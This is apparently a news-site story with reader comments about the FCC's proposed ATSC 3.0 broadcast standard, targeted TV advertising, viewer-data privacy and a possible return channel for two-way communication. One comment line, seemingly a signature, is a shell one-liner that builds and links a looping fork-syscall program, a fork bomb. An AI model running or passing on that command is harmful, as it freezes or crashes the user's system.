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Ads May Soon Stalk You on TV Like They Do on Your Facebook Feed (bloomberg.com)
Targeted ads that seem to follow us everywhere online may soon be doing the same on our TV. From a report: The Federal Communications Commission is poised to approve a new broadcast standard that will let broadcasters do something cable TV companies already do: harvest data about what you watch so advertisers can customize pitches. The prospect alarms privacy advocates, who say there are no rules setting boundaries for how broadcasters handle personal information. The FCC doesn't mention privacy in the 109-page proposed rule that is scheduled for a vote by commissioners Thursday. "If the new standard allows broadcasters to collect data in a way they haven't before, I think consumers should know about that," Jonathan Schwantes, senior policy counsel for Consumers Union, said in an interview. "What privacy protections will apply to that data, and what security protections?" For broadcasters, Next Gen TV represents an advance into the digital world that for decades has been siphoning viewers away to the likes of Facebook, Netflix, Google's YouTube and Amazon's Prime video service.
Can we please have Tom Wheeler back?
ATSC 1.0 works without an Internet connection for two-way communication. Sounds like its replacement will require each TV to be a connected device. This actually takes away a major advantage of over-the-air TV: that it's free and available without Internet.
If every TV will need Internet, then people might as well just watch Amazon or Netflix online -- over-the-air broadcasters are actually putting themselves out of business.
Me? I'll be at the Pirate Bay or enjoying theater and concerts in real life if this happens. No way that I'll ever allow a connected device with camera, screen, and mic into my home (aka a Telescreen from 1984).
I find these 'targeted ads' are either for something I've bought already, or for the exact same thing that I just looked at and didn't buy because I have already decided against it. In either case, I don't see how it is helping anyone.
Laws are rules for the court, but merely a bottom bar to hit for life. Think beyond laws in your actions always.
It's the stuff your friends or advertisers posted which Facebook wants you to see. It has the following purposes
1) To show you ads
2) To show you political content the people who run FB approve of
3) To show you stuff your friends have shared.
4) To give people a virtual slap for posting political content the people who run FB don't approve of. I.e. to enforce the Overton Window.
5) To collect lots of metadata from people which can be commercialised in a variety of scummy ways
tl;dr - don't post to FB and don't look at the feed because it's absolute cancer.
Though I have to admit I do have a FB account and Facebook messenger on my phone because a lot of people I know use it for messaging.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm anti-freedom. One of the proper functions of government is to keep corporations on a tight leash and restrict their ability to violate customers' privacy. Otherwise, all corporations will violate customers' privacy -- there simply isn't enough of a market for privacy unless it's created by force.
ATSC 3.0 will be delivered over-the-air, just like 1.0. The difference is the signal is based on "internet protocol" for reasons that make it easy for any device (tablet, phone) to receive the signals. Also, ATSC 3.0 is designed for two-way communication. What is interesting is how they plan on doing this. Turns out there may be plans to have what is called a "Dedicated Return Channel" (DRC), which is a separate frequency that the TV uses to transmit data to the broadcast station. DRC can be read about here: https://www.atsc.org/candidate... If this turns out to be true, it's essentially a "free" over-the-air quasi internet connection controlled and limited by the broadcast station. This is a pretty significant detail.